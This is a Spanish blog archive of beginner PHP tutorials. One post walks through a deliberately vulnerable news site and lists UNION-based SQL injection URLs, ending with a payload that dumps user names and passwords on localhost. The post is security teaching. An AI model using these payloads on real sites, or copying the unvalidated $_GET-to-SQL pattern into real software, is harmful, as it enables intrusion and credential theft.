Daniel Segovia

Blog personal

Archive for the ‘php’ tag

Embeber código PHP

Un comentario

Naturalmente PHP no puede ser embebido en archivos HTML ya que éstos últimos, en configuraciones predeterminadas, no serán procesados por el interprete de PHP.
Sin embargo, si estamos desarrollando una aplicación web necesitaremos tener código HTML y PHP en un mismo archivo.
Los archivos con extensión .php serán procesados por el interprete, pero este interprete solamente procesará el contenido delimitado dos tags que da comienzo al código php y ?> que finaliza el mismo, lo que este por fuera de éstos tags no será procesado, por ende puede ser tranquilamente código HTML

Un ejemplo

<html>
<head>
    <title>Saludo</title>
</head>
<body>
<?php
if (date('H') >= 14 && date('H') <= 19) {
    echo 'Buenos tardes';
} elseif (date('H') >= 6 && date('H') <= 13) {
    echo 'Buenos d&iacute;as';
}else {
    echo 'Buenos noches';
}
?>
</body>
</html>

Aquí viene la parte importante, todo lo que es procesado en php y enviado a la salida, en este caso con echo, se transforma en simple texto plano, para este caso el resultado del script será el siguiente.

<html>
<head>
    <title>Saludo</title>
</head>
<body>
Buenos tardes</body>
</html>

Como puede observarse en el resultado se imprime el “Buenas tardes”, esto se produce por que la hora en la que se ejecuto el script fue cerca de las 15, por lo tanto en condicional entro en las condiciones de mayor e igual a 14 y menor e igual a 19.
Al fin y al cabo lo importante no es por que parte de if sigue el flujo del sistema, en este punto lo más importante de comprender es que la salida es texto plano, que luego será nuestra salida será interpretada por el navegador con el que estemos visualizando la página web.

Written by admin

enero 26th, 2012 at 1:12 pm

Posted in 7.2 Embeber código

Tagged with , , ,

PHP y Sqlite

Hacer un comentario

SQLite es una librería escrita en C que implementa un motor de base de datos SQL.
Con PHP podemos tener acceso a una base de datos SQL, sin tener que ejecutar un programa de RDBMS separado, esto reduce el tiempo de conexión y también de las transacciones siguientes.
La base de datos y su definición (tablas, índices y los datos), son guardados como un sólo archivo en donde esta corriendo el script. Este diseño simple se logra bloqueando todo el fichero de base de datos al principio de cada transacción.

Sus desarrolladores resaltan que sus principales características:

  • Completo soporte para tablas e índices en un único archivo por base de datos
  • Soporte transaccional
  • Rapidez, unas 2 veces mas veloz que MySQL y PostgreSQL
  • Escaso tamaño de la librería
  • Completa portabilidad.

Written by admin

octubre 6th, 2011 at 4:45 pm

Introducción a las base de datos con PHP

Hacer un comentario

Un porcentaje muy alto de los desarrollos hechos en PHP usan alguna base de datos, simplemente por que en general tenemos la necesidad de guardar datos o información y ésta es almacenada en ellas.
Existen diferentes bases de datos y cada una de ellas tiene sus particularidades. No me detendré a explicar en detalle cada una, pero si explicaré como trabajar básicamente con las bases de datos más conocidas.
Enfocaré el capítulo del manual a PHP, no entraré en detalle en cada base de datos ni tampoco en el lenguaje SQL.
Existen muchísimos artículos sobre PHP y base de datos que explicarán con más detalle la interacción entre uno y otro.

En este capítulo veremos.

Written by admin

mayo 31st, 2011 at 4:45 pm

Funciones

Hacer un comentario

Las funciones en PHP pueden estar ya pre-compiladas o escritas por el usuarios. Sin embargo, la manera de llamarlas es la misma

funcion_nombre(arg1, arg2 …);

El número de argumentos siempre variará de acuerdo a la función. Cada argumento debe ser una expresión válida, incluso un llamado a otra función.

Aquí un ejemplo de la función predefinida count

<?php
$frutas = array('Banana', 'Manzana', 'Pera');
$total_frutas = count($frutas);
echo $total_frutas;
?>

Como antes mencione, los parametros deben ser expresiones válidas o bien el llamado a otras funciones.

<?php
$frutas = array('Banana', 'Manzana', 'Pera');
echo strlen(end($frutas)); // 4
?>

Las funciones tienen ámbito global, es decir, pueden ser llamadas desde cualquier lugar, inclusive si fueron escritas dentro de una función

Written by admin

diciembre 27th, 2010 at 4:35 pm

Primeros pasos con SQL Injection

3 comentarios

Primero vamos a explicar que es SQL Injection, es una vulnerabilidad en el acceso a la información de la base de datos desde el código de un programa.
El origen es la no validación de los datos que provienen externamente al programa, es decir, cuando yo ingreso un usuario y contraseña para acceder a determinado sistema estoy ingresando datos al sistema, esos datos, en general, se validarán contra la base de datos. Sí los datos ingresados no son validados correctamente antes de llegar a la base de datos la vulnerabilidad esta latente para que cualquiera pueda explotarla.
Otro ejemplo puede darse cuando hay parametros que se envian a través de la url (GET) y éstos no son validados correctamente antes de llegar a la base de datos.

Primero haremos una descripción de las tablas y luego del código que accederá a ellas

Aquí la descripción de las tablas en la base de datos.

Tabla noticias

tabla 1

Tabla usuarios

tabla 2

Y aquí mostraremos los archivos involucrados para tomar la información de la DB

<?php
//index.php
include_once('conexion.php');
$sql = "SELECT * FROM noticias ORDER BY id DESC LIMIT 10"; // La última noticia arriba
$resourse = mysql_query($sql, $link);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head>
<title>Diario - Online</title>
<style>
.titulo a:link,  a:visited {text-decoration: none; color:#000000; font-size: 25px;}
.titulo a:hover {text-decoration: underline; color:red;}
.copete {font:arial, helvetica 12px; color:#000000}
</style>
</head>
<body>
<h1>Diario - Online</h1>
<?php
while ($data = mysql_fetch_assoc($resourse)) {
	echo '<div class="titulo"><a href="noticias.php?id='.$data['id'].'">'.$data['titulo'].'</a></div>';
	echo '<div class="copete">'.$data['copete'].'</div>';
	echo '<hr />';
}
?>
</body>
</html>
<?php
//noticias.php
include_once('conexion.php');
$sql = "SELECT * FROM noticias WHERE id = " . $_GET['id']; //Traigo la noticia con el id de la URL
$resourse = mysql_query($sql, $link);
$data = mysql_fetch_assoc($resourse);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head>
<title>Diario - Online</title>
<style>
.descripcion {font:arial, helvetica 12px; color:#000000}
</style>
</head>
<body>
<h1>Diario - Online || <?php echo $data['titulo'];?></h1>
<?php
echo '<div class="descripcion">'.$data['descripcion'].'</div>';
echo '<hr />';
?>
<a href="index.php">Volver</a>
</body>
</html>
<?php
//conexion.php
$host = "localhost";
$user = "root";
$pass = "";
$db = "diarioonline";
 
$link = mysql_pconnect($host, $user, $pass);
mysql_select_db($db, $link);
?>

Bueno, la vulnerabilidad a explotar se encuentra sobre el archivo noticias.php
Tengo el proyecto diarioonline corriendo en http://localhost/diarioonline/
Primero, vamos a navegar la siguiente URL http://localhost/diarioonline/noticias.php?id=3
Si miramos esta url vemos que pasa el parametro id=3 y en el código él no está validado correctamente.

Hasta aquí nada fuera de lo normal, la página tiene el funcionamiento esperado por el desarrollador de DiarioOnline.

Para realizar una prueba rápida lo que podemos hacer es navegar la siguiente URL
http://localhost/diarioonline/noticias.php?id=(select 3)
Ahí ya estaremos cambiando la url por la deseada por nosotros, si la página continua su funcionamiento correctamente quiere decir que hemos injectado código SQL al programa, es decir la consultaría quedaría así.

SELECT * FROM noticias WHERE id = (SELECT 3)

Ahora como ya sabemos que el parametro id no tiene validación, nuestro próximo paso será saber cuando columnas trae la consulta original, con la ayuda de UNION y mediante prueba y error lo conseguiremos.

http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1
Esto nos prodicará un error similar a este:
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in C:\xampp\htdocs\diarioonline\noticias.php on line 5

Esto es por que UNION nos pide la misma cantidad de columnas por cada SELECT, entonces probaremos y probaremos hasta evitar el error y saber cuantas columnas trae la consulta
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2 (ERROR)
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2,3 (ERROR)
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2,3,4 (EXITOSA)

SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,2,3,4

Hemos hecho un UNION exitoso con 4 campos pedidos en la segunda consulta, así que si deseamos hacer un UNION a otra tabla, debemos tener en cuenta que siempre debemos traer 4 campos si no la consulta nos devolverá un error.

Bueno, para realizar un UNION con otra tabla, debemos saber que tablas existen y los nombres de los campos, estos son visibles desde information_schema, en este ejemplo ya tenemos la estructura de la db así que no necesitamos ninguna información extra. Para conocer sobre los joins a information_schema visita este link.

El UNION lo realizaremos sobre la tabla usuarios.
http://localhost/diarioonline/noticias.php?id=3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios

SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios

Esta consulta otra vez será exitosa, pero seguiremos viendo la misma información por pantalla
Esto se debe a que el primer registro que devuelve la consulta es la noticia, aquí una muestra del resultado de la consuta

resultados union

Lo unico que nos falta es invertir estos resultados para que en primer lugar aparezca lo que viene tras el UNION, esto lo haremos muy simple con ORDER BY

http://localhost/diarioonline/noticias.php?id=3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios ORDER BY 1 ASC

SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios ORDER BY 1 ASC

El resultado será ver los usuarios y contraseñas por pantalla.

Aquí los archivos para probarlo

Written by admin

diciembre 10th, 2010 at 11:05 am

Posted in General

Tagged with , , , ,

Namespace en PHP

Un comentario

Primero, antes de comenzar debes saber que namespace funciona a partir de la versión 5.3 de PHP
Bueno, el tamaño de las librerías crece día a día a paso agigantado. Debido a esto, es muy posible que tengamos una colisión de nombres en una función, método o clase.
Por ejemplo, si usamos Zend Framework y WordPress ambos poseen el método query.
Si usamos ambas herramientas nos produciría un Fatal Error.
Hasta ahora, la solución era usar subfijos. WordPress define sus clases con WP_, Codeigniter define sus clases con CI_ por delante.
Para evitar las colisiones las clases, funciones, métodos y constantes se agrupan en namespace.

Un breve ejemplo que aclarará la sitación.

<?php
 
namespace proyecto1;
 
    class database{
        function quien_soy(){
            echo 'soy la clase database dentro del namespace proyecto 1';
        }
    }
 
namespace proyecto2;
    class database{
        function quien_soy(){
            echo 'soy la clase database dentro del namespace proyecto 2';
        }
    }
 
$c = 'proyecto1\\database';  
$ob = new $c;
$ob->quien_soy();
 
echo '<br />';
 
$c = 'proyecto2\\database';  
$ob = new $c;
$ob->quien_soy();
 
?>

Written by admin

noviembre 19th, 2010 at 12:31 pm

Ciclos for

Un comentario

Un ciclo for es usado cuando necesitamos ejecutar determinadas instrucciones y de antemano sabemos cuantas veces necesitaremos repetirlas.
Es decir, si yo quiero mostrar los números comprendidos entre 100 y 200 puedo usar un ciclo for
Aquí el ejemplo

<?php
for($i=100;$i<=200;$i++)
{
    echo $i;
}
?>

Como se puede apreciar en el ejemplo, el for esta formado por 3 partes, inicialización ($i = 100), condición ($i <= 200) y incremento ($i++)

Written by admin

octubre 19th, 2010 at 2:29 pm

Ciclos do while

Hacer un comentario

La estructura do while es muy parecida a la del while, la diferencia es que las instrucciones dentro de la estructura se ejecutarán al menos 1 vez ya que la condición estará al finalizar el bloque de comandos.

do{
Lista de comandos
}while(condicion)

Podemos tomar el mismo ejemplo del while, escojeremos números aleatorios entre 1 y 100 y cuando haya un impar se dará por finalizado el ciclo.

<?php
do
{
    $numero = rand(1,100); //rand nos dara un número aleatorio entre 1 y 100
    echo "Número elegido: " . $numero . "<br/>";
    $resto = $numero % 2;
}while($resto == 0);
?>

Written by admin

octubre 6th, 2010 at 11:42 am

Ciclos While

3 comentarios

En principio entender un ciclo While es sencillo, éste repetirá sus iteraciones (vueltas) mientras la condición se cumpla.
La sintaxis es:
while(condición)
{
Lista de comandos
}

En el siguiente ejemplo escojeremos números aleatorios entre 1 y 100, cuando haya un número impar el ciclo terminará.

<?php
$resto = 1;
while($resto == 0)
{
    $numero = rand(1,100); //rand nos dara un número aleatorio entre 1 y 100
    echo "Número elegido: " . $numero . "<br/>";
    $resto = $numero % 2;
}
?>

Written by admin

septiembre 29th, 2010 at 9:59 am

Switch

Hacer un comentario

Puedes usar switch para reemplazar largos if seguis de elseif. Puedes comparar un elemento con la larga lista de posibles resultados.

<?php
$letra = $_GET['letra'];
switch($letra){
    case "a":
        echo "La letra ingresada es una a";
        break;
    case "b":
        echo "La letra ingresada es una b";
        break;
    case "c":
        echo "La letra ingresada es una c";
        break;
    default :
        echo "La letra ingresada no es una a ni b ni c";
}
?>

En este caso compara la variable $letra con todos los case que se encuentran, en caso de no coincidir tomará la opción de default.
Con la palabra reservada break corto la comparación con los demás case.

También puede aplicarse más de un case para realizar determinada acción.
Ejemplo

<?php
$letra = $_GET['letra'];
switch($letra){
    case "a":
    case "A":
        echo "La letra ingresada es una a";
        break;
    default :
        echo "La letra ingresada no es una a mayúscula ni minúscula";
}
?>

Written by admin

agosto 30th, 2010 at 9:36 pm

elseif

Hacer un comentario

elseif se usa cuando queremos realizar una pregunta por el lado falso de una primera pregunta.
Por ejemplo podemos usar elseif si queremos saber si un número es positivo o negativo.
Para esta comprobación tenemos 3 posibles soluciones

- Número positivo
- Número negativo
- El número es 0

<?php
$numero = (int) $_GET['numero'];
if($numero > 0)
{
    echo "El número $numero es positivo";
}
elseif($numero < 0)
{
    echo "El número $numero es negativo";
}
else
{
    echo "El número es 0";
}
?>

$numero proviene de la url por lo que nuestro script debemos probarlo con este parametro en la url.
Si mi script se encuentra en el raíz de mi servidor web y el mismo se llama comprobar.php la llamada debería ser la siguiente

http://localhost/comprobar.php?numero=20

En este caso mi variable $numero dentro del código valdrá 20

Aquí los ejemplso corriendo
Positivo || Negativo || Cero

Código fuente

Written by admin

agosto 30th, 2010 at 5:47 pm

Estructura condicional if

Un comentario

La estructura if se usa en caso que debamos hacer una pregunta.
Si la respuesta a la pregunta es afirmativa el flujo del programa correrá por ese lado y en caso de que no lo sea correrá por el lado falso.

IF

Como se ve en la imagen, en la condición se divide el flujo se divide en 2, por el lado del SI y por el lado del NO.
De acuerdo al resultado de la condición el flujo del programa tomará un camino u otro.

La palabra reservada en PHP para realizar las condiciones es if.

<?php
$numero = 8;
$resto = $numero % 2;
if($resto == 0)
{
    echo "El número $numero es par";
}
?>

Se pregunta en el código si el resto de $numero es igual a 0 se muestra un mensaje donde ese número es par.
Se pueden hacer la cantidad deseada de instrucciones dentro de ese if.
La llave de apertura ({) da inicio a todo lo que va a realizar el programa cuando la condición sea positiva y la llave de cierre (}) da por finalizada la cantidad de instrucciones para esa condición.
Las llaves no son obligatorias (pero si son recomendadas para entender el código), pero hay que tener en cuenta que si no se las usa, solo se ejecutará la primera instrucción seguida del if.
Aquí un ejemplo sin usar las llaves

<?php
$numero = 10;
$resto = $numero % 2;
if($resto == 0)
    echo "El número $numero es par";
 
echo 'Esto se mostrar sin importar la resolución de if';
 
?>

Written by admin

agosto 9th, 2010 at 5:46 pm

Estructuras condicionales

Hacer un comentario

Las estructuras condicionales son fundamentales en cualquier lenguaje de programación.
El flujo del programa toma determinados caminos según las resulociones de determinadas preguntas.
PHP soporta las estructuras condicionales if y switch

Written by admin

agosto 9th, 2010 at 12:07 pm

Primer script con código PHP

Hacer un comentario

Lo primero que necesitas saber es como embeber código dentro de las páginas HTML

Vamos a un ejemplo práctico.

<html>
<head>
    <title>Primer script PHP</title>
</head>
<body>
La próxima línea será impresa en PHP<br />
<?php
echo "Hola a todos";
?>
</body>
</html>

En este ejemplo puedes ver el código PHP embebido en la página HTML.
Todo aquello que escribas dentro de la apertura de php () será procesado como PHP y su salida (si hay alguna) será en texto plano (como HTML).
Ejecuta éste script y con el navegador puedas observar el código fuente para ver el resultado del script.

Ejemplo 1 || Código fuente

Written by admin

mayo 17th, 2010 at 9:46 pm

Posted in 3.2 Embeber código

Tagged with , ,